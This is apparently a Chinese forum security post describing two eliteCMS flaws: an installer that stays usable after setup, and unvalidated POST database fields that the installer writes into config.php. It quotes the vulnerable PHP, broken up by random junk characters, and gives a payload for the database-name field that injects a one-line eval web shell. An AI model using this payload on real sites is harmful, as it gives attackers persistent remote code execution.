eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
% }& w3 B% P% J
: V5 i( w) s4 H9 @...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
; C8 c9 A( ~9 J3 S" W    $write = "<?php\n";
, Q6 Z' r& ~) P8 q+ `' ?" h    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
6 q" e2 }: {! \+ P$ P    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
! _$ C5 R( h; ~    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
, {, S6 B. z9 A  ]- U6 R* n    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
* Q7 }+ ^. Y: z. v    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
, z- c' r: w' ]# K/ i, ?    $write .= "if (!\$db_select) {\n";
! h- M1 U* C5 S    $write .= "        die(\"Database select failed\" .mysql_error());\n";
0 ^+ f9 B$ X& P2 b7 T    $write .= "        \n";
/ }! V' x' i, |% P* \+ a+ x: w    $write .= "} \n";
    $write .= "?>\n";

& `, s& f$ V, W5 i7 `3 \    $writer = fopen($file, 'w');
...

在看代码：
9 C( C5 U, K+ b  n
5 i  t2 i) |+ B5 t, P1 e* s+ W$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

2 A0 ^( n* _: Z7 Z9 C, o) J取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

* T9 b$ ?( U% c; ^' ~* K( D将导致一句话后门写入/admin/includes/config.php
' A+ e5 Z7 i+ E/ ^